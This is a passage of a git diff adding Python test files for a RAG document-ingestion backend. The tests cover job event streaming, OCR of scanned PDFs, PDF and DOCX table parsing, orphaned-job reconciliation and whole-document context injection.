"job-transient-read-failure" + ing._jobs[jid] = queue.Queue() + try: + gen = ing.job_events(jid) + assert next(gen) == {"type": "heartbeat"} # transient error -> heartbeat, no raise + gen.close() + assert jid in ing._jobs, "an unconfirmed (transient-error) status must keep the queue" + finally: + ing._jobs.pop(jid, None) + + +def test_terminal_db_status_removes_queue(monkeypatch): + monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01) + # No events arrive, but the DB row reports the job finished (hard worker death + # that skipped the sentinel): the stream ends and the queue is reaped. + monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "completed"}) + jid = "job-terminal-db" + ing._jobs[jid] = queue.Queue() + try: + list(ing.job_events(jid)) + assert jid not in ing._jobs, "a terminal DB status must remove the queue" + finally: + ing._jobs.pop(jid, None) diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py new file mode 100644 index 0000000000..1945e09982 --- /dev/null +++ b/studio/backend/tests/test_rag_loopback_trust_env.py @@ -0,0 +1,52 @@ +"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG +package (all target the local 127.0.0.1 llama-server) must set trust_env=False.""" + +import ast +import os + +RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag") +HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"} + + +def _httpx_calls(path): + with open(path, encoding = "utf-8") as f: + tree = ast.parse(f.read(), filename = path) + calls = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + func = node.func + if ( + isinstance(func, ast.Attribute) + and func.attr in HTTPX_CALLEES + and isinstance(func.value, ast.Name) + and func.value.id == "httpx" + ): + calls.append(node) + return calls + + +def _sets_trust_env_false(call): + for kw in call.keywords: + if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False: + return True + return False + + +def test_rag_loopback_httpx_clients_disable_trust_env(): + # Scan every .py in the package so a new file with an httpx call can't bypass this. + checked = 0 + for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")): + path = os.path.join(RAG_DIR, fname) + for call in _httpx_calls(path): + checked += 1 + assert _sets_trust_env_false(call), ( + f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False " + f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)" + ) + assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}" + + +if __name__ == "__main__": + test_rag_loopback_httpx_clients_disable_trust_env() + print("OK: all RAG loopback httpx clients set trust_env=False") diff --git a/studio/backend/tests/test_rag_ocr_fallback.py b/studio/backend/tests/test_rag_ocr_fallback.py new file mode 100644 index 0000000000..c7be1fe60b --- /dev/null +++ b/studio/backend/tests/test_rag_ocr_fallback.py @@ -0,0 +1,259 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Scanned-PDF OCR fallback: a PDF page with no text layer is rendered and transcribed +by the vision model during ingestion, so image-only PDFs become searchable. The vision +call is stubbed, so no model is needed.""" + +import pymupdf + +from core.rag import captioner, ingestion, parsers, store, tool + + +def _image_only_pdf(path, *, pages = 1): + """A PDF whose pages carry only a raster image, so get_text returns ''.""" + doc = pymupdf.open() + pix = pymupdf.Pixmap(pymupdf.csRGB, pymupdf.IRect(0, 0, 120, 120)) + pix.clear_with(220) + for _ in range(pages): + page = doc.new_page() + page.insert_image(page.rect, pixmap = pix) + doc.save(str(path)) + doc.close() + + +def _text_pdf(path, body): + doc = pymupdf.open() + page = doc.new_page() + page.insert_textbox(pymupdf.Rect(40, 40, 550, 800), body, fontsize = 11) + doc.save(str(path)) + doc.close() + + +def _ingest(rag_conn, thread_id, filename, path): + """Drive the real ingestion worker synchronously and return the document row.""" + scope = store.thread_scope(thread_id) + document_id = store.create_document( + rag_conn, + scope = scope, + filename = filename, + sha256 = filename, + thread_id = thread_id, + status = "pending", + stored_path = str(path), + ) + job_id = ingestion._new_job(rag_conn, document_id, scope) + ingestion._run(job_id, document_id, scope, str(path), None) + return store.get_document(rag_conn, document_id) + + +# ── parsers.render_pdf_pages ───────────────────────────────────────── + + +def test_render_pdf_pages_returns_png_per_page(tmp_path): + pdf = tmp_path / "two.pdf" + _image_only_pdf(pdf, pages = 2) + out = parsers.render_pdf_pages(str(pdf), [1, 2], dpi = 72) + assert set(out) == {1, 2} + assert all(b.startswith(b"\x89PNG") for b in out.values()) + + +def test_render_pdf_pages_excludes_unwanted(tmp_path): + pdf = tmp_path / "three.pdf" + _image_only_pdf(pdf, pages = 3) + out = parsers.render_pdf_pages(str(pdf), [2], dpi = 72) + assert set(out) == {2} + + +def test_render_pdf_pages_empty_request(tmp_path): + pdf = tmp_path / "one.pdf" + _image_only_pdf(pdf, pages = 1) + assert parsers.render_pdf_pages(str(pdf), [], dpi = 72) == {} + + +# ── captioner.ocr_pages gating ─────────────────────────────────────── + + +def test_ocr_pages_no_endpoint(monkeypatch): + monkeypatch.setattr(captioner, "vision_endpoint", lambda: None) + assert captioner.ocr_pages({1: b"x"}) == {} + + +def test_collapse_runaway_caps_repeated_lines(): + # A looping model repeats a line hundreds of times; the guard caps it, keeps repeats. + text = "\n".join(["TITLE"] * 200 + ["body"] + ["Add & Norm"] * 3) + out = captioner._collapse_runaway(text) + lines = out.splitlines() + assert lines.count("TITLE") == 3 # 200 -> 3 + assert lines.count("Add & Norm") == 3 # legitimate triple survives + assert "body" in lines + + +def test_collapse_runaway_caps_interleaved_repeats(): + # Models also loop non-consecutively; the global per-line cap bounds those too. + text = "\n".join(["Llion Vaswani Google", "Niki Parmar Google"] * 40) + out = captioner._collapse_runaway(text) + lines = [ln for ln in out.splitlines() if ln.strip()] + assert lines.count("Llion Vaswani Google") <= 8 + assert lines.count("Niki Parmar Google") <= 8 + + +def test_collapse_runaway_noop_on_normal_text(): + text = "Heading\n\nFirst paragraph.\nSecond paragraph.\n\nFooter" + assert captioner._collapse_runaway(text) == text + + +def test_ocr_pages_applies_runaway_guard(monkeypatch): + monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) + monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "\n".join(["X"] * 50)) + out = captioner.ocr_pages({1: b"img"}, endpoint = ("http://x", "local")) + assert out[1].splitlines().count("X") == 3 # guard applied to stored text + + +def test_ocr_pages_transcribes_and_caps(monkeypatch): + monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) + monkeypatch.setattr(captioner.config, "OCR_MAX_PAGES", 1) + calls = [] + monkeypatch.setattr( + captioner, + "_ocr_one", + lambda base, model, b, t: (calls.append(1) or "transcribed text"), + ) + out = captioner.ocr_pages({1: b"a", 2: b"b"}, endpoint = ("http://x", "local")) + assert out == {1: "transcribed text"} # page 2 dropped by the cap + assert len(calls) == 1 + + +def test_ocr_scanned_pages_merges_short_text_layer(rag_conn, monkeypatch): + # Near-empty pages can still have meaningful extractable text; OCR augments it + # rather than replacing it with a fallible vision transcription. + scope = store.thread_scope("t1") + document_id = store.create_document(rag_conn, scope = scope, filename = "scan.pdf", sha256 = "h") + job_id = ingestion._new_job(rag_conn, document_id, scope) + pages = [parsers.Page("ID-42", 1, 5)] + + monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) + monkeypatch.setattr(captioner.config, "OCR_MIN_CHARS", 16) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + monkeypatch.setattr(parsers, "render_pdf_pages", lambda *a, **k: {1: b"png"}) + monkeypatch.setattr(captioner, "ocr_pages", lambda page_pngs: {1: "OCR body text"}) + + out, ocred = ingestion._ocr_scanned_pages(pages, "scan.pdf", rag_conn, job_id) + assert ocred == {1} + assert out[0].text == "ID-42\n\nOCR body text" + + +# ── end-to-end ingestion ───────────────────────────────────────────── + + +def test_scanned_pdf_is_ocred_into_chunks(rag_conn, stub_embeddings, monkeypatch, tmp_path): + monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + monkeypatch.setattr( + captioner, "_ocr_one", lambda base, model, b, t: "Invoice total is zebra-42 due Friday" + ) + + pdf = tmp_path / "scan.pdf" + _image_only_pdf(pdf, pages = 1) + doc = _ingest(rag_conn, "t1", "scan.pdf", pdf) + + assert doc["status"] == "completed" + assert doc["num_chunks"] >= 1 + # The OCR'd text is now indexed and reaches whole-document injection. + text, _sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert "zebra-42" in text + + +def test_scanned_page_past_ocr_cap_is_still_captioned( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): + # OCR is capped to one page, so page 2 is scanned but never transcribed. Figure + # captioning must still cover it (we exclude only the pages OCR actually handled), + # so a chart on an un-OCR'd scanned page is not silently dropped. + monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) + monkeypatch.setattr(captioner.config, "OCR_MAX_PAGES", 1) + monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "scanned page alpha") + monkeypatch.setattr(captioner, "_caption_one", lambda *a: "figure caption bravo") + + pdf = tmp_path / "scan2.pdf" + _image_only_pdf(pdf, pages = 2) + doc = _ingest(rag_conn, "t1", "scan2.pdf", pdf) + + assert doc["status"] == "completed" + text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert "scanned page alpha" in text # page 1 OCR'd, within the cap + assert "figure caption bravo" in text # page 2 past the cap -> captioned, not dropped + + +def test_born_digital_pdf_skips_ocr(rag_conn, stub_embeddings, monkeypatch, tmp_path): + called = [] + monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) + monkeypatch.setattr(captioner, "_ocr_one", lambda *a: called.append(1) or "should not run") + + pdf = tmp_path / "digital.pdf" + _text_pdf(pdf, "Real born digital body text. " * 30 + "marker-quokka") + doc = _ingest(rag_conn, "t1", "digital.pdf", pdf) + + assert doc["status"] == "completed" + assert called == [] # page had real text -> never considered scanned + text, _sources = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert "marker-quokka" in text + + +def _ingest_with_ocr(rag_conn, thread_id, path, ocr): + scope = store.thread_scope(thread_id) + document_id = store.create_document( + rag_conn, + scope = scope, + filename = "scan.pdf", + sha256 = str(path) + str(ocr), + thread_id = thread_id, + status = "pending", + stored_path = str(path), + ) + job_id = ingestion._new_job(rag_conn, document_id, scope) + ingestion._run(job_id, document_id, scope, str(path), None, ocr = ocr) + return store.get_document(rag_conn, document_id) + + +def test_ocr_override_false_skips_ocr_when_config_on( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): + # Config default ON, but the per-upload toggle (ocr=False) skips OCR. + monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "should not run") + pdf = tmp_path / "scan.pdf" + _image_only_pdf(pdf, pages = 1) + doc = _ingest_with_ocr(rag_conn, "t1", pdf, ocr = False) + assert doc["num_chunks"] == 0 # scanned page left empty + + +def test_ocr_override_true_runs_ocr_when_config_off( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): + # Config default OFF, but the per-upload toggle (ocr=True) forces OCR on. + monkeypatch.setattr(captioner.config, "OCR_SCANNED", False) + monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) + monkeypatch.setattr(captioner, "_ocr_one", lambda *a: "forced ocr text quokka") + pdf = tmp_path / "scan.pdf" + _image_only_pdf(pdf, pages = 1) + doc = _ingest_with_ocr(rag_conn, "t1", pdf, ocr = True) + assert doc["num_chunks"] >= 1 + text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) + assert "quokka" in text + + +def test_ocr_disabled_leaves_scanned_pdf_empty(rag_conn, stub_embeddings, monkeypatch, tmp_path): + monkeypatch.setattr(captioner.config, "OCR_SCANNED", False) + + pdf = tmp_path / "scan.pdf" + _image_only_pdf(pdf, pages = 1) + doc = _ingest(rag_conn, "t1", "scan.pdf", pdf) + + # With OCR off, a text-less scanned page yields no chunks (prior behavior). + assert doc["status"] == "completed" + assert doc["num_chunks"] == 0 + assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py new file mode 100644 index 0000000000..14ab0efe2e --- /dev/null +++ b/studio/backend/tests/test_rag_parsing.py @@ -0,0 +1,297 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""PDF text extraction: layout-aware Markdown (pymupdf4llm) with plain-text fallback.""" + +from __future__ import annotations + +import pytest + +pytest.importorskip("pymupdf") + + +def _table_pdf(path): + import pymupdf + + doc = pymupdf.open() + page = doc.new_page() + page.insert_textbox(pymupdf.Rect(40, 40, 550, 70), "Quarterly Results", fontsize = 16) + rows = [("Quarter", "Revenue", "Growth"), ("Q1", "$1.2M", "12%"), ("Q2", "$1.5M", "25%")] + y = 90 + for r in rows: + page.insert_textbox(pymupdf.Rect(40, y, 250, y + 20), r[0], fontsize = 11) + page.insert_textbox(pymupdf.Rect(250, y, 400, y + 20), r[1], fontsize = 11) + page.insert_textbox(pymupdf.Rect(400, y, 540, y + 20), r[2], fontsize = 11) + y += 24 + doc.save(str(path)) + doc.close() + + +def test_pdf_extracts_markdown_table(tmp_path, monkeypatch): + # With Markdown on, the layout is emitted as Markdown markup (heading, and a pipe table + # where the extractor detects one) that flat get_text never produces. + pytest.importorskip("pymupdf4llm") + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + pdf = tmp_path / "table.pdf" + _table_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "Q2" in text and "$1.5M" in text # cell values preserved + assert "#" in text or "|" in text # Markdown markup (heading or table pipes) + + +def test_pdf_markdown_off_uses_plain_text(tmp_path, monkeypatch): + # The toggle (RAG_PDF_MARKDOWN=0) falls back to flat PyMuPDF text: content is still + # there, but with no Markdown markup. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", False) + pdf = tmp_path / "table.pdf" + _table_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "Q2" in text and "$1.5M" in text + assert "#" not in text and "|" not in text # plain text path emits no Markdown markup + + +def test_pdf_markdown_passes_only_supported_legacy_kwargs(monkeypatch): + # The pinned PyMuPDF4LLM legacy path ignores unknown kwargs; do not pass the + # newer layout-only OCR knobs or Markdown extraction silently loses policy control. + from core.rag import parsers + + captured = {} + + class _FakePymupdf4llm: + @staticmethod + def to_markdown(doc, **kwargs): + captured.update(kwargs) + return [{"text": "plain markdown"}] + + class _Doc: + page_count = 1 + + monkeypatch.setitem(__import__("sys").modules, "pymupdf4llm", _FakePymupdf4llm) + assert parsers._pdf_markdown(_Doc()) == ["plain markdown"] + assert captured == {"page_chunks": True, "show_progress": False} + + +def test_pdf_markdown_falls_back_when_lib_missing(tmp_path, monkeypatch): + # If pymupdf4llm extraction returns None (missing/failed), parsing still yields the + # plain-text pages rather than raising. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: None) + pdf = tmp_path / "table.pdf" + _table_pdf(pdf) + pages = parsers.parse(str(pdf)) + assert pages and "Quarter" in pages[0].text + + +def _long_text_pdf(path): + import pymupdf + + doc = pymupdf.open() + page = doc.new_page() + body = "The quick brown fox jumps over the lazy dog. " * 12 # >200 letters + page.insert_textbox(pymupdf.Rect(40, 40, 550, 750), body, fontsize = 11) + doc.save(str(path)) + doc.close() + + +def test_pdf_markdown_corruption_falls_back_to_plain(tmp_path, monkeypatch): + # pymupdf4llm can emit shaped RTL Presentation Forms for Arabic/Hebrew; the parser + # detects that and uses PyMuPDF's logical-order text instead of the mangled Markdown. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + shaped = "".join(chr(c) for c in range(0xFE8D, 0xFEA0)) * 20 # heavy shaped forms + monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: [shaped] * doc.page_count) + pdf = tmp_path / "table.pdf" + _table_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "Quarter" in text # real logical-order text recovered + assert not parsers._markdown_corrupted(text) # shaped garbage not carried through + + +def test_pdf_markdown_incomplete_falls_back_to_plain(tmp_path, monkeypatch): + # If pymupdf4llm silently drops most of a page, the parser prefers the fuller raw layer. + from core.rag import config, parsers + + monkeypatch.setattr(config, "PDF_MARKDOWN", True) + monkeypatch.setattr(parsers, "_pdf_markdown", lambda doc: ["x"] * doc.page_count) + pdf = tmp_path / "long.pdf" + _long_text_pdf(pdf) + text = "\n".join(p.text for p in parsers.parse(str(pdf))) + assert "quick brown fox" in text # fuller raw layer used, not the near-empty Markdown + + +def _docx_with_table(path): + import docx + + document = docx.Document() + document.add_paragraph("Intro before table.") + table = document.add_table(rows = 2, cols = 2) + table.cell(0, 0).text = "NAME" + table.cell(0, 1).text = "SCORE" + table.cell(1, 0).text = "Alice" + table.cell(1, 1).text = "97pts" + document.add_paragraph("Outro after table.") + document.save(str(path)) + + +def test_docx_extracts_table_cells(tmp_path): + # document.paragraphs alone drops tables; the parser walks body content in order so + # table cells survive (pipe-joined, which the preview locator anchors on). + pytest.importorskip("docx") + from core.rag import parsers + + docx_path = tmp_path / "t.docx" + _docx_with_table(docx_path) + text = "\n".join(p.text for p in parsers.parse(str(docx_path))) + assert all(v in text for v in ("NAME", "SCORE", "Alice", "97pts")) # cells kept + assert "Alice | 97pts" in text # row cells joined + assert text.index("Intro") < text.index("NAME") < text.index("Outro") # order kept + + +def test_docx_table_keeps_columns_and_collapses_cell_newlines(tmp_path): + # Empty cells are kept (so columns stay aligned across rows) and a cell's internal + # newlines are collapsed to spaces (so a multi-paragraph cell can't break the row). + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "A" + table.cell(0, 1).text = "" # empty middle cell + table.cell(0, 2).text = "C" + multiline = table.cell(1, 0) + multiline.text = "line1" + multiline.add_paragraph("line2") # cell now holds an internal newline + table.cell(1, 1).text = "mid" + table.cell(1, 2).text = "end" + path = tmp_path / "aligned.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert "A | | C" in text # empty cell preserved -> columns line up + assert "line1 line2 | mid | end" in text # internal newline collapsed to a space + + +def test_docx_table_merged_cell_keeps_grid_alignment(tmp_path): + # A horizontally merged cell repeats across the spanned columns: emit its text once + # then a placeholder, so the row keeps as many fields as its siblings (columns stay + # aligned) without duplicating the merged text. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "WIDE" + table.cell(0, 2).text = "END" + table.cell(0, 0).merge(table.cell(0, 1)) # span the first two columns + table.cell(1, 0).text = "a" + table.cell(1, 1).text = "b" + table.cell(1, 2).text = "c" + path = tmp_path / "merged.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.count("WIDE") == 1 # merged cell not duplicated across spanned columns + assert "WIDE | | END" in text # placeholder keeps 3 fields, aligned with "a | b | c" + assert "a | b | c" in text + + +def test_docx_table_pads_omitted_grid_columns(tmp_path): + # A row that skips leading grid columns exposes the gap via grid_cols_before; pad it + # with empty fields so the value stays under the right header instead of shifting left. + pytest.importorskip("docx") + import docx + from docx.oxml.ns import qn + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "H1" + table.cell(0, 1).text = "H2" + table.cell(0, 2).text = "H3" + tr = table.rows[1]._tr # drop the first cell and mark it skipped via + tr.remove(tr.tc_lst[0]) + trPr = tr.get_or_add_trPr() + trPr.insert(0, trPr.makeelement(qn("w:gridBefore"), {qn("w:val"): "1"})) + table.rows[1].cells[0].text = "X" # sits in column 2 + path = tmp_path / "gap.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert " | X | " in text # leading gap padded so X lines up under H2, not H1 + + +def test_docx_flattens_nested_table(tmp_path): + # cell.text ignores tables nested inside a cell; walk cell.tables so nested rows are + # not silently dropped from the indexed text. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + outer = document.add_table(rows = 1, cols = 1).cell(0, 0) + outer.text = "outer" + nested = outer.add_table(rows = 1, cols = 2) + nested.cell(0, 0).text = "NESTED-A" + nested.cell(0, 1).text = "NESTED-B" + path = tmp_path / "nested.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert "NESTED-A | NESTED-B" in text # nested table flattened, not dropped + + +def test_docx_nested_table_keeps_in_cell_order(tmp_path): + # A cell holding paragraph, nested table, paragraph must serialize in that order + # (cell.text alone would emit both paragraphs before the nested rows). + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + cell = document.add_table(rows = 1, cols = 1).cell(0, 0) + cell.text = "before" + nested = cell.add_table(rows = 1, cols = 2) + nested.cell(0, 0).text = "NESTED-A" + nested.cell(0, 1).text = "NESTED-B" + cell.add_paragraph("after") + path = tmp_path / "nested_order.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.index("before") < text.index("NESTED-A") < text.index("after") + + +def test_docx_table_vertical_merge_emitted_once(tmp_path): + # A vertically merged cell maps every continuation row back to the origin ; + # emit it once and leave placeholders below so a row-spanning label isn't repeated. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 3, cols = 2) + table.cell(0, 0).merge(table.cell(1, 0)).merge(table.cell(2, 0)).text = "SECTION" + table.cell(0, 1).text = "r0" + table.cell(1, 1).text = "r1" + table.cell(2, 1).text = "r2" + path = tmp_path / "vmerge.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.count("SECTION") == 1 # not repeated on each spanned row + assert "SECTION | r0" in text and " | r1" in text and " | r2" in text diff --git a/studio/backend/tests/test_rag_preview.py b/studio/backend/tests/test_rag_preview.py index e7f2a39792..0ff27897bd 100644 --- a/studio/backend/tests/test_rag_preview.py +++ b/studio/backend/tests/test_rag_preview.py @@ -165,6 +165,25 @@ def test_locator_handles_midword_anchor_and_locates_line(): assert r["width"] > 0 and r["height"] > 0 +def test_locator_anchors_through_markdown_table_pipes(): + # Markdown table cells are pipe-joined with no spaces; the locator splits on pipes + # so a table-row chunk still anchors to the raw PDF word stream. + import pymupdf + + from core.rag.locators import LocatorMatch, _regions_for_match + + doc = pymupdf.open() + page = doc.new_page() + page.insert_text((72, 200), "Quarter Revenue Growth Q1 sales strong here", fontsize = 12) + # What the Markdown parser stores for the row (cells joined by pipes, no spaces). + page_text = "|Quarter|Revenue|Growth|Q1|sales|strong|here|" + match = LocatorMatch(page_index = 0, page_number = 1, start = 0, end = len(page_text)) + rects = _regions_for_match(doc, page_text, match) + doc.close() + + assert rects, "a Markdown table row should still anchor to the page words" + + def test_sign_verify_roundtrip(rag_home): from routes import rag as rag_routes diff --git a/studio/backend/tests/test_rag_reconcile_orphaned.py b/studio/backend/tests/test_rag_reconcile_orphaned.py new file mode 100644 index 0000000000..c6932e4588 --- /dev/null +++ b/studio/backend/tests/test_rag_reconcile_orphaned.py @@ -0,0 +1,114 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Startup reconciliation must not strip chunks from already-completed docs. + +A crash can leave an ingestion_jobs row non-terminal after the worker already +committed the document as ``completed`` with all its chunks. Reconciliation flips +the orphaned job to ``failed`` but must touch the document (and its chunks) only +when it actually transitions the document to ``failed`` -- otherwise a completed +source loses every chunk yet still reports ``completed``, so retrieval finds +nothing and dedup (``status != 'failed'``) blocks re-ingest. +""" + +import math + +from core.rag import store +from core.rag.chunking import Chunk +from storage import rag_db + +VOCAB = ["alpha", "bravo", "charlie", "delta"] + + +def _embed(text): + v = [float(text.lower().count(w)) for w in VOCAB] + n = math.sqrt(sum(x * x for x in v)) or 1.0 + return [x / n for x in v] + + +def _chunk(text, index = 0): + return Chunk( + text = text, + token_count = len(text.split()), + page_number = None, + source_page_index = 0, + chunk_index = index, + page_char_start = 0, + page_char_end = len(text), + ) + + +def _add_doc(conn, scope, doc_id, status, texts): + store.create_document( + conn, scope = scope, filename = f"{doc_id}.txt", sha256 = doc_id, document_id = doc_id + ) + store.add_chunks( + conn, scope, doc_id, [_chunk(t, i) for i, t in enumerate(texts)], [_embed(t) for t in texts] + ) + store.set_document_status(conn, doc_id, status, num_chunks = len(texts)) + + +def _orphan_job( + conn, + doc_id, + scope, + status = "running", +): + conn.execute( + "INSERT INTO ingestion_jobs(id, document_id, scope, status, stage, progress, created_at) " + "VALUES(?,?,?,?,?,?,datetime('now'))", + (f"job-{doc_id}", doc_id, scope, status, "embedding", 0.5), + ) + conn.commit() + + +def _chunk_count(conn, doc_id): + return conn.execute("SELECT COUNT(*) FROM chunks WHERE document_id=?", (doc_id,)).fetchone()[0] + + +def _job_status(conn, doc_id): + return conn.execute( + "SELECT status FROM ingestion_jobs WHERE id=?", (f"job-{doc_id}",) + ).fetchone()["status"] + + +def test_completed_doc_keeps_chunks_when_its_job_is_orphaned(rag_conn): + # Worker finished the document but crashed before retiring the job row. + _add_doc(rag_conn, "kb_a", "done", "completed", ["alpha bravo", "charlie delta"]) + _orphan_job(rag_conn, "done", "kb_a") + + assert rag_db.reconcile_orphaned_ingestion_jobs() == 1 + + # Document stays completed with all chunks; dedup still finds it. + assert store.get_document(rag_conn, "done")["status"] == "completed" + assert _chunk_count(rag_conn, "done") == 2 + assert store.document_by_hash(rag_conn, "kb_a", "done") == "done" + # The orphaned job is reconciled to completed (not failed), so the UI's getJob + # fallback doesn't flag a searchable document as a failed ingestion. + assert _job_status(rag_conn, "done") == "completed" + + +def test_in_flight_doc_is_failed_and_its_chunks_dropped(rag_conn): + # Partial chunks committed, document never marked terminal -> genuine orphan. + _add_doc(rag_conn, "kb_a", "partial", "processing", ["alpha bravo"]) + _orphan_job(rag_conn, "partial", "kb_a") + + assert rag_db.reconcile_orphaned_ingestion_jobs() == 1 + + assert store.get_document(rag_conn, "partial")["status"] == "failed" + assert _chunk_count(rag_conn, "partial") == 0 + # Failed doc is re-ingestible (not deduped). + assert store.document_by_hash(rag_conn, "kb_a", "partial") is None + + +def test_already_failed_doc_has_its_chunks_dropped(rag_conn): + # Worker committed chunks then marked the doc 'failed', but crashed before + # retiring the job row. Reconcile won't re-flip the doc (already failed), but + # its chunks must still be purged so they aren't retrievable/citable. + _add_doc(rag_conn, "kb_a", "failed_doc", "failed", ["alpha bravo"]) + _orphan_job(rag_conn, "failed_doc", "kb_a") + + assert rag_db.reconcile_orphaned_ingestion_jobs() == 1 + + assert store.get_document(rag_conn, "failed_doc")["status"] == "failed" + assert _chunk_count(rag_conn, "failed_doc") == 0 diff --git a/studio/backend/tests/test_rag_whole_document.py b/studio/backend/tests/test_rag_whole_document.py new file mode 100644 index 0000000000..545d731fd2 --- /dev/null +++ b/studio/backend/tests/test_rag_whole_document.py @@ -0,0 +1,520 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Whole-document context mode: a thread-attached file small enough to fit is +injected in full (every chunk, in order) instead of top-K retrieval. Covers the +new store query, the tool-level renderer, and the auto-inject wiring + fallback. +No embedder is needed - the whole-doc path does no query embedding.""" + +import json + +from core.rag import store, tool +from core.rag.chunking import Chunk +from core.inference import tools as inf_tools + +# A vector per chunk just to satisfy add_chunks (the whole-doc path never reads +# vectors); dimension is arbitrary but must be consistent within a connection. +_VEC = [0.1, 0.2, 0.3, 0.4] + + +def _chunk( + text, + index = 0, + page = None, + tokens = None, +): + return Chunk( + text = text, + token_count = tokens if tokens is not None else len(text.split()), + page_number = page, + source_page_index = 0, + chunk_index = index, + page_char_start = 0, + page_char_end = len(text), + ) + + +def _add_doc( + conn, + scope, + doc_id, + filename, + sha, + texts, + *, + status = "completed", + tokens = None, + pages = None, +): + chunks = [ + _chunk( + t, + i, + page = (pages[i] if pages else None), + tokens = (tokens[i] if tokens else None), + ) + for i, t in enumerate(texts) + ] + vectors = [list(_VEC) for _ in texts] + store.create_document(conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id) + store.add_chunks(conn, scope, doc_id, chunks, vectors) + store.set_document_status(conn, doc_id, status, num_chunks = len(texts)) + + +def _injected_text(result) -> str: + """The text spliced into the conversation as the synthetic tool result.""" + tool_msg = next(m for m in result["messages"] if m.get("role") == "tool") + return tool_msg["content"] + + +# ── store.all_chunks_for_scope ─────────────────────────────────────── + + +def test_all_chunks_for_scope_orders_by_document_then_index(rag_conn): + scope = store.thread_scope("t1") + _add_doc(rag_conn, scope, "d1", "first.pdf", "h1", ["a", "b", "c"]) + _add_doc(rag_conn, scope, "d2", "second.pdf", "h2", ["x", "y"]) + rows = store.all_chunks_for_scope(rag_conn, scope) + assert [r["id"] for r in rows] == ["d1:0", "d1:1", "d1:2", "d2:0", "d2:1"] + assert rows[0]["filename"] == "first.pdf" + assert rows[-1]["filename"] == "second.pdf" + assert rows[0]["text"] == "a" + + +def 